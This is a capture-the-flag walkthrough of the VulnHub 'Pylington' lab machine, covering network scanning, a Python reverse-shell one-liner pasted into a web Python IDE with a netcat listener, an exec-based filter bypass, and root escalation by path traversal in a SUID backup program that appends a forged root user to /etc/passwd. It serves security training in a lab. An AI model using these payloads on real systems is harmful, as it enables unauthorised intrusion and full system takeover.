In this video, we are going to tackle a vulnerable machine with a difficulty level: Easy.
Firstly, You have to download the OVA image from VulnHub. If you have not yet familiar with this VulnHub,
Click Here to Learn More:
Once you have downloaded it, you need to set up the server. It is pretty easy to set up the server within VirtualBox.
Settings Up
Launch VirtualBox.
Click on Tools and then click on “Import” and import the OVA file.
Once you are done with these, click on settings and change the network adapter to the host-only adapter.
Make sure your Kali Linux Machine, from where you perform an attack, and Your Vulnerable machine are in the same network.
Once you are done with settings up, let’s start the Virtual Machines.
As you can notice, the Vulnerable Machine prompts us to input the credentials.
Enumeration
Our first step is to identify the IP Address of our Target Machine using Net Discover. Open a terminal and run the following command:
┌──(kali㉿kali)-[~]
└─$
sudo netdiscover -i eth1
[sudo] password for kali:
Currently scanning: 192.168.218.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.162.1 0a:00:27:00:00:06 1 60 Unknown vendor
192.168.162.2 08:00:27:2b:48:f9 1 60 PCS Systemtechnik GmbH
192.168.162.7 08:00:27:f1:07:3d 1 60 PCS Systemtechnik GmbH
From the Scan result, we have obtained our target IP address which is “192.168.162.7”.
Conducting Network Scans with Nmap
So, let's perform a network scan to detect what ports are open. Scanning the Network is already known as an essential part of the enumeration process. This offers us the opportunity to better understand the attacking surface and design targeted attacks. As in most cases, we are going to use the famous Nmap tool.
Where,
-
-sC
is used to perform a script scan using the default set of scripts, and
-
-sV
enables version detection, which will detect what versions are running on what port and
-
-p-
is used to select all ports.
┌──(kali㉿kali)-[~]
└─$
sudo nmap -sC -sV -p- 192.168.162.7
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-27 03:10 EDT
Nmap scan report for 192.168.162.7
Host is up (0.00091s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.5 (protocol 2.0)
| ssh-hostkey:
| 3072 bf:ba:23:4e:69:37:69:9f:23:ae:21:35:98:4d:39:fa (RSA)
| 256 ed:95:53:52:ef:70:1f:c0:0e:3c:d8:be:35:fc:3a:93 (ECDSA)
|_ 256 2d:b8:b0:88:52:83:7b:00:47:31:a4:76:2b:3d:7d:28 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Unix) mod_wsgi/4.7.1 Python/3.9)
| http-robots.txt: 3 disallowed entries
|_/register /login /zbir7mn240soxhicso2z
|_http-title: Pylington Cloud | The best way to run Python.
| http-methods:
|_ Potentially risky methods: TRACE
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.46 (Unix) mod_wsgi/4.7.1 Python/3.9
MAC Address: 08:00:27:F1:07:3D (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.21 seconds
┌──(kali㉿kali)-[~]
└─$
From the Network scanning, we have spotted two open ports.
- Port 22/TCP runs an SSH service, which means, that if you have a valid credential then it will be easy to gain login access to the server.
22/tcp open ssh OpenSSH 8.5 (protocol 2.0)
| ssh-hostkey:
| 3072 bf:ba:23:4e:69:37:69:9f:23:ae:21:35:98:4d:39:fa (RSA)
| 256 ed:95:53:52:ef:70:1f:c0:0e:3c:d8:be:35:fc:3a:93 (ECDSA)
|_ 256 2d:b8:b0:88:52:83:7b:00:47:31:a4:76:2b:3d:7d:28 (ED25519)
- Port 80/TCP running an HTTP service, which indicates that there is some vulnerable website being hosted.
80/tcp open http Apache httpd 2.4.46 ((Unix) mod_wsgi/4.7.1 Python/3.9)
| http-robots.txt: 3 disallowed entries
|_/register /login /zbir7mn240soxhicso2z
|_http-title: Pylington Cloud | The best way to run Python.
| http-methods:
|_ Potentially risky methods: TRACE
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.46 (Unix) mod_wsgi/4.7.1 Python/3.9
Web Application Enumeration
So let’s take a look at the web content running on Port 80. To look at the contents ourselves, we can open a web browser of our choice, and navigate to the target's IP address in the URL bar at the top of the window.
Upon navigating the webpage, we find out that Pylington is a cloud platform used to run and execute python3 programming codes.
If scroll down, then you can notice a message which indicates us, to click the Sign-Up button on the menu bar at the top of the window.
Click on the Sign Up button at the top of the window.
Upon clicking on the sign-up button, it will show us another message, that will notify us that there is an error with sign-up.
It means we can’t sign up, but if we have a login ID and a password, then we can easily log in to the server.
From the Nmap scanning, we have discovered that the “
robots.txt
” file exists.
80/tcp open http Apache httpd 2.4.46 ((Unix) mod_wsgi/4.7.1 Python/3.9)
| http-
robots.txt
: 3 disallowed entries
|_/register /login /zbir7mn240soxhicso2z
|_http-title: Pylington Cloud | The best way to run Python.
| http-methods:
|_ Potentially risky methods: TRACE
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.46 (Unix) mod_wsgi/4.7.1 Python/3.9
From “
robots.txt
”, we find out a file that contains a disallow directive.
Disallow directive means, you can tell search engines, not to access certain files, pages, or sections of your website.
Upon navigating this page, we successfully obtained the required Username and password. As we have a username and a password, so let’s try to log in to the server.
Upon logging into the server, we serve with a Python IDE.
As per the information available on the screen, we can run the Python program through the input section, and the output will be shown below on the screen. The Python program is limited to nine lines of code.
So, we have to research to get a reverse shell Python program that will help me foothold the server.
Foothold
Upon searching on Google, I got a cheat sheet that will help for get the reverse shell.
Executing Python Reverse Shell Attack to Obtain Remote Access on Pylington Cloud
Copy and paste it to the Python IDE of Pylington Cloud.
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
Remove Python -c, as Python -c is usually used when you are executing the Python program on the shell or terminal.
┌──(kali㉿kali)-[~]
└─$
ifconfig eth1
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet
192.168.162.5
netmask 255.255.255.0 broadcast 192.168.162.255
inet6 fe80::85b8:abb7:ac44:dd18 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:58:e7:12 txqueuelen 1000 (Ethernet)
RX packets 156464 bytes 33568551 (32.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 174728 bytes 12555824 (11.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(kali㉿kali)-[~]
└─$
nc -lvnp 3333
listening on [any] 3333 ...
Edit your Listening Host IP address and Listening Port. If you don’t know your IP then you can find it by running the ifconfig command.
Before running the program, make sure you have enabled the listening port using NetCat from a new terminal.
Now click on run.
Upon running the program, the security automatically detects it as a malicious program.
Try again by removing the quotation mark, but it will also not work.
After analyzing the instructions once again, I found a hint. If we run an exec along with the malicious program, then there will be a chance of bypassing the server.
exec is a functionality of an operating system that runs an executable file in the context of an already existing process, replacing the previous executable. This act is also referred to as an overlay. It is especially important in Unix-like systems, although it exists elsewhere. (Source: Wiki)
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 3333
listening on [any] 3333 ...
connect to [192.168.162.5] from (UNKNOWN) [192.168.162.7] 41222
sh-5.1$
python3 -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"
[http@archlinux /]$
export TERM=xterm
export TERM=xterm
[http@archlinux /]$
[http@archlinux /]$
ls
ls
bin dev
home
lib64 mnt proc run srv tmp var
boot etc lib lost+found opt root sbin sys usr
[http@archlinux /]$
[http@archlinux /]$
cd /home
cd /home
[http@archlinux home]$
ls
ls
py
[http@archlinux home]$
[http@archlinux home]$
cd py
cd py
[http@archlinux py]$
ls -al
ls -al
total 56
dr-xr-xr-x 3 py py 4096 Apr 16 2021 .
drwxr-xr-x 3 root root 4096 Apr 7 2021 ..
-rw------- 1 py py 21 Dec 20 2020 .bash_logout
-rw------- 1 py py 57 Dec 20 2020 .bash_profile
-rw------- 1 py py 141 Dec 20 2020 .bashrc
-r-------- 1 py py 11 Apr 9 2021 password.txt
drwx------ 2 py py 4096 Apr 9 2021 secret_stuff
-r-sr-xr-x 1 py py 19216 Apr 9 2021 typing
-r--r--r-- 1 py py 689 Apr 9 2021 typing.cc
-r-------- 1 py py 34 Apr 9 2021 user.txt
[http@archlinux py]$
[http@archlinux py]$
cat user.txt
cat user.txt
cat: user.txt: Permission denied
[http@archlinux py]$
So cut the lines of codes and paste them to standard input, and in the program section write a simple program, call it through exec, and then click on run.
As you can notice, I got a reverse shell. Let’s make it a fully interactive shell.
Let me find out the user flag. Usually, the user flag is stored within the /home directory of the user directory.
Let me change the directory to the home directory.
There is only one directory listed, which means the username is py. So, now change the directory to py and list the files and directories.
And here is the user flag. Let me read it using the cat command.
-r-------- 1 py py 11 Apr 9 2021 password.txt
-r-sr-xr-x 1 py py 19216 Apr 9 2021 typing
-r--r--r-- 1 py py 689 Apr 9 2021 typing.cc
[http@archlinux py]$
cat typing.cc
cat typing.cc
#include <iostream>
#include <string>
#include <iterator>
#include <fstream>
#include <algorithm>
int main(){
std::cout<<"
Let's play a game! If you can type the sentence below, then I'll tell you my password.\n\n
";
std::string text="
the quick brown fox jumps over the lazy dog
";
std::cout<<text<<'\n';
std::string line;
std::getline(std::cin,line);
if(line==text){
std::ifstream password_file("
/home/py/password.txt
");
std::istreambuf_iterator<char> buf_it(password_file),buf_end;
std::ostreambuf_iterator<char> out_it (std::cout);
std::copy(buf_it,buf_end,out_it);
}
else{
std::cout<<"WRONG!!!\n";
}
}
[http@archlinux py]$
[http@archlinux py]$
./typing
./typing
Let's play a game! If you can type the sentence below, then I'll tell you my password.
the quick brown fox jumps over the lazy dog
the quick brown fox jumps over the lazy dog
the quick brown fox jumps over the lazy dog
***********
[http@archlinux py]$
┌──(kali㉿kali)-[~]
└─$
ssh py@192.168.162.7
The authenticity of host '192.168.162.7 (192.168.162.7)' can't be established.
ED25519 key fingerprint is SHA256:k14DTtUUFqwn+eAH6UKgUapJszCwsRlyQWSL8/968sA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.162.7' (ED25519) to the list of known hosts.
py@192.168.162.7's password:
the quick brown fox jumps over the lazy dog
Last login: Sat Apr 17 00:24:09 2021 from 192.168.8.101
[py@archlinux ~]$
[py@archlinux ~]$
ls
password.txt secret_stuff typing typing.cc
user.txt
[py@archlinux ~]$ cat user.txt
ee*************************ee
[py@archlinux ~]$
[py@archlinux ~]$
cd secret_stuff
[py@archlinux secret_stuff]$
ls -al
total 40
drwx------ 2 py py 4096 Apr 9 2021 .
dr-xr-xr-x 3 py py 4096 Apr 16 2021 ..
-rwsr-xr-x 1 root root 26128 Apr 9 2021 backup
-rw-r--r-- 1 root root 586 Apr 9 2021 backup.cc
[py@archlinux secret_stuff]$
[py@archlinux secret_stuff]$
cat backup.cc
#include <iostream>
#include <string>
#include <fstream>
int main(){
std::cout<<"
Enter a line of text to back up:
";
std::
string line
;
std::getline(std::cin,line);
std::string path;
std::cout<<"Enter a file to append the text to (must be inside the
/srv/backups
directory): ";
std::getline(std::cin,path);
if(!path.starts_with("/srv/backups/")){
std::cout<<"
The file must be inside the /srv/backups directory!\n
";
}
else{
std::ofstream backup_file(path,std::ios_base::app);
backup_file<<line<<'\n'
;
}
return 0;
}
[py@archlinux secret_stuff]$
The permission was denied, which means we must have to switch to the user, py, to access the user flag. But, we don't have any password to switch the user py.
Maybe there is a password is stored within the
password.txt
file. Still, we can’t access it.
Let’s analyze other files and directories.
Establishing Secure and Persistent Access with SSH Tool
After analyzing the listed files and directories, I found that
typing.cc
contains some helpful information that may help us log into the user py.
Because the .cc is a default extension generated after compiling a program using the GNU GCC compiler.
Let me have a look at this file using the cat command.
Let me analyze this program code.
After analyzing, I found that the typing is an application, programmed to access the “password.txt” file. So, let me run the program. Now type the text and hit enter to get the password.
Now, we have the password and the username, so, we can perform an SSH connection using the SSH client tool.
As we are now logged in with the user py we can easily read the user flag.
Now we have user access but do not have the highest privilege access.
Privilege Escalation
Upon analyzing the files and directory, we found that the secret_staff directory contains another application.
Let me read the .cc file.
These lines of code say to input lines of text which will be stored on a string container named a line, which will then be saved to this directory.
There is an “if” statement, which verifies whether the directory name is written properly or not. It seems to be like, there will be a chance of Path Traversal vulnerability.
Path Traversal Privilege Escalation via Backup Utility
A path traversal vulnerability allows an attacker to access files on the server to which they should not have access. They do this by tricking either the web server or the web application running on it into returning files that exist outside of the web root folder.
So, let’s test this Python program, to prove my assumption.
The line of the text will be technoscience, and The text will be stored in the /etc/passwd file.
[py@archlinux secret_stuff]$
./backup
Enter a line of text to back up:
technoscience
Enter a file to append the text to (must be inside the /srv/backups directory):
/srv/backups/
../../etc/passwd
# This is called Path Traversal
[py@archlinux secret_stuff]$
[py@archlinux secret_stuff]$
cat /etc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
mail:x:8:12::/var/spool/mail:/usr/bin/nologin
ftp:x:14:11::/srv/ftp:/usr/bin/nologin
http:x:33:33::/srv/http:/usr/bin/nologin
nobody:x:65534:65534:Nobody:/:/usr/bin/nologin
dbus:x:81:81:System Message Bus:/:/usr/bin/nologin
systemd-journal-remote:x:981:981:systemd Journal Remote:/:/usr/bin/nologin
systemd-network:x:980:980:systemd Network Management:/:/usr/bin/nologin
systemd-oom:x:979:979:systemd Userspace OOM Killer:/:/usr/bin/nologin
systemd-resolve:x:978:978:systemd Resolver:/:/usr/bin/nologin
systemd-timesync:x:977:977:systemd Time Synchronization:/:/usr/bin/nologin
systemd-coredump:x:976:976:systemd Core Dumper:/:/usr/bin/nologin
uuidd:x:68:68::/:/usr/bin/nologin
dhcpcd:x:975:975:dhcpcd privilege separation:/:/usr/bin/nologin
py:x:1000:1000::/home/py:/bin/bash
git:x:974:974:git daemon user:/:/usr/bin/git-shell
redis:x:973:973:Redis in-memory data structure store:/var/lib/redis:/usr/bin/nologin
technoscience
[py@archlinux secret_stuff]$
┌──(kali㉿kali)-[~]
└─$
openssl passwd -1 -salt technoscience password
$1$technosc$ZW5z4o0XHy8sC40gK6pj90
root:x:0:0::/root:/bin/bash
technoscience:$1$technosc$ZW5z4o0XHy8sC40gK6pj90:0:0::/root:/bin/bash
[py@archlinux secret_stuff]$
./backup
Enter a line of text to back up:
technoscience:$1$technosc$ZW5z4o0XHy8sC40gK6pj90:0:0::/root:/bin/bash
Enter a file to append the text to (must be inside the /srv/backups directory):
/srv/backups/../../etc/passwd
[py@archlinux secret_stuff]$
[py@archlinux secret_stuff]$
cat /etc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1::/:/usr/bin/nologin
daemon:x:2:2::/:/usr/bin/nologin
mail:x:8:12::/var/spool/mail:/usr/bin/nologin
ftp:x:14:11::/srv/ftp:/usr/bin/nologin
http:x:33:33::/srv/http:/usr/bin/nologin
nobody:x:65534:65534:Nobody:/:/usr/bin/nologin
dbus:x:81:81:System Message Bus:/:/usr/bin/nologin
systemd-journal-remote:x:981:981:systemd Journal Remote:/:/usr/bin/nologin
systemd-network:x:980:980:systemd Network Management:/:/usr/bin/nologin
systemd-oom:x:979:979:systemd Userspace OOM Killer:/:/usr/bin/nologin
systemd-resolve:x:978:978:systemd Resolver:/:/usr/bin/nologin
systemd-timesync:x:977:977:systemd Time Synchronization:/:/usr/bin/nologin
systemd-coredump:x:976:976:systemd Core Dumper:/:/usr/bin/nologin
uuidd:x:68:68::/:/usr/bin/nologin
dhcpcd:x:975:975:dhcpcd privilege separation:/:/usr/bin/nologin
py:x:1000:1000::/home/py:/bin/bash
git:x:974:974:git daemon user:/:/usr/bin/git-shell
redis:x:973:973:Redis in-memory data structure store:/var/lib/redis:/usr/bin/nologin
technoscience
technoscience:$1$technosc$ZW5z4o0XHy8sC40gK6pj90:0:0::/root:/bin/bash
[py@archlinux secret_stuff]$
[py@archlinux secret_stuff]$
su technoscience
Password:
[root@archlinux secret_stuff]#
whoami
root
[root@archlinux secret_stuff]#
Let me verify if the line of text is written to the /etc/passwd file.
It means we can generate a new user having the highest privilege with the help of this vulnerability. So we have to generate a salted hash using OpenSSL.
- Here technoscience is the username and the respective password is the password for the same user.
Now copy this hash to a text editor and create a new user with root privilege:
Now, Copy the root text in the passwd file.
Instead of the root, edit it to the given username. Instead of x just add the generated salted hash.
Now, copy this newly created text and paste it in the backup program.
As you can notice, a new user added to the passwd file.
Let’s switch to the newly created user using the su command.
Now, we have root permission so that we can now read the root flag.
[root@archlinux secret_stuff]#
cd /root
[root@archlinux ~]#
ls
root.txt
[root@archlinux ~]#
cat root.txt
63*******************************5
[root@archlinux ~]#
We have successfully completed the VulnHub Walkthrough.